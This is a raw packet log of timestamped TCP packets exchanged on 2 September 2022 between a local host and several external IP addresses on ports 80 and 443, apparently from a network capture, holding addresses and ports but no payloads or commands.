Sep 2, 2022 14:02:34.012370110 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.012382984 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.012396097 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.012403965 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.012430906 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.012449026 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.012461901 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.012501001 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.012814999 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.012831926 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.012844086 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.012876987 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.013058901 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.013075113 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.013087034 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.013108015 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.013129950 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.013606071 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.013623953 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.013633966 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.013669968 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.013773918 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.013848066 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.013859987 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.013900995 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.014540911 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.014580011 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.014605045 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.014627934 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.014643908 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.014684916 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.014724016 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.014764071 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.014827967 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.015033960 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.015073061 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.015100002 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.015117884 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.015319109 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.015388966 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.015417099 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.015434027 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.015445948 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.015630960 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.015674114 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.015700102 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.015724897 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.015834093 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.015876055 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.015902042 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.015923977 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.016316891 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.016335011 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.016346931 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.016386032 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.016405106 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.016441107 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.016454935 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.016467094 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.016488075 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.016707897 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.016752005 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.016771078 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.016782999 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.016805887 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.016930103 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.016948938 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.016961098 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.016968966 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.016999960 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.017493010 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.017541885 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.017570972 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.017589092 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.017682076 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.017720938 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.017755985 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.017769098 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.017776012 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.018112898 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.018162966 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.018210888 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.018238068 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.018259048 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.018281937 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.018313885 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.018328905 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.018377066 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.018385887 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.018853903 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.018897057 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.018935919 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.018955946 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.018991947 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.019002914 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.019031048 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.019043922 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.019069910 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.019078016 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.019296885 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.019325018 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.019362926 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.019372940 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.019397020 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.019583941 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.019614935 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.019648075 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.019660950 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.019701958 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.019812107 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.019843102 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.019861937 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.019881964 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.019891977 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.020073891 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.020103931 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.020123959 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.020155907 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.020375967 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.020405054 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.020422935 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.020442963 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.020456076 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.020576954 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.020606041 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.020627022 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.020649910 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.020862103 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.020890951 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.020936012 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.020986080 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.021064997 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.021095037 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.021109104 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.021133900 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.021143913 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.021322012 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.021440983 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.021461010 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.021485090 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.021717072 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.021749973 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.021787882 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.021799088 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.021831989 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.022344112 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.022382975 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.022422075 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.022444010 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.022461891 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.022530079 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.022561073 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.022581100 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.022598982 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.022886992 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.022978067 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.023013115 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.023032904 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.023066998 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.023303032 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.023438931 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.023623943 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.023646116 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.023679972 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.024395943 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.024434090 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.024463892 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.024478912 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.024662971 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.024703979 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.024727106 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.024756908 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.025688887 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.025732040 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.025758028 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.025794029 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.025855064 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.025896072 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.025913954 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.025942087 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.025958061 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.026375055 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.026406050 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.026426077 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.026458979 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.026614904 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.026685953 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.026745081 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.026766062 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.026794910 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.027267933 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.027323008 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.051372051 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:34.051440954 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:34.055387974 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:34.055519104 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:34.059381008 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:34.059509039 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:34.166344881 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.166412115 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.166444063 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.166479111 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.166515112 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.166533947 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.166560888 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.166594982 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.166624069 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.166670084 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.166985035 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.167027950 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.167057991 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.167078972 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.167325020 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.167390108 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.167495966 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.167534113 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.167625904 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.167700052 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.167743921 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.167764902 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.167799950 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.167813063 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.167854071 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.167916059 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.167960882 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.167995930 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.168004036 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.168024063 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.168064117 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.168093920 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.168106079 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.168126106 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.168167114 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.168217897 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.168241978 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.168283939 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.168301105 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.168330908 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.168349028 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.168576956 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.168617964 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.168637991 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.168665886 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.168720961 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.168751955 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.168795109 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.168823957 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.168843031 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.169008017 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.169045925 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.169064999 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.169084072 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.169109106 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.169174910 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.169222116 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.169234037 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.169265032 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.169287920 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.169711113 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.169763088 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.169775963 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.169800043 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.169821978 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.169862032 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.169898987 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.169925928 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.169946909 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.169980049 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.170222044 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.170263052 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.170293093 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.170314074 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.170351028 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.170388937 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.170417070 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.170434952 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.170732021 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.170773029 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.170794964 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.170829058 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.170841932 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.175337076 CEST	80	49787	85.209.157.230	192.168.2.6
Sep 2, 2022 14:02:34.175740004 CEST	49787	80	192.168.2.6	85.209.157.230
Sep 2, 2022 14:02:34.345741034 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:34.345755100 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:34.345768929 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:34.345990896 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:34.346873045 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:34.346898079 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:34.346913099 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:34.346977949 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:34.346983910 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:34.346995115 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:34.347007036 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:34.347049952 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:34.347057104 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:34.347076893 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:34.347090006 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:34.347096920 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:34.347179890 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:34.347187996 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:34.347234011 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:34.347239017 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:34.347253084 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:34.347266912 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:34.347270966 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:34.347311974 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:34.347317934 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:34.347332001 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:34.347362041 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:34.347368956 CEST	443	49803	95.142.206.1	192.168.2.6
Sep 2, 2022 14:02:34.347407103 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:34.347448111 CEST	49803	443	192.168.2.6	95.142.206.1
Sep 2, 2022 14:02:34.348131895 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:34.348172903 CEST	443	49807	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:34.348284006 CEST	49807	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:34.349523067 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:34.349533081 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:34.349545956 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:34.349555016 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:34.349631071 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:34.349636078 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:34.349679947 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:34.349685907 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:34.349700928 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:34.349723101 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:34.349726915 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:34.349776983 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:34.349781990 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:34.349791050 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:34.349833012 CEST	49808	443	192.168.2.6	95.142.206.0
Sep 2, 2022 14:02:34.349838018 CEST	443	49808	95.142.206.0	192.168.2.6
Sep 2, 2022 14:02:34.349864006 CEST	49808	443	192.168.2.6	95.142.206.0
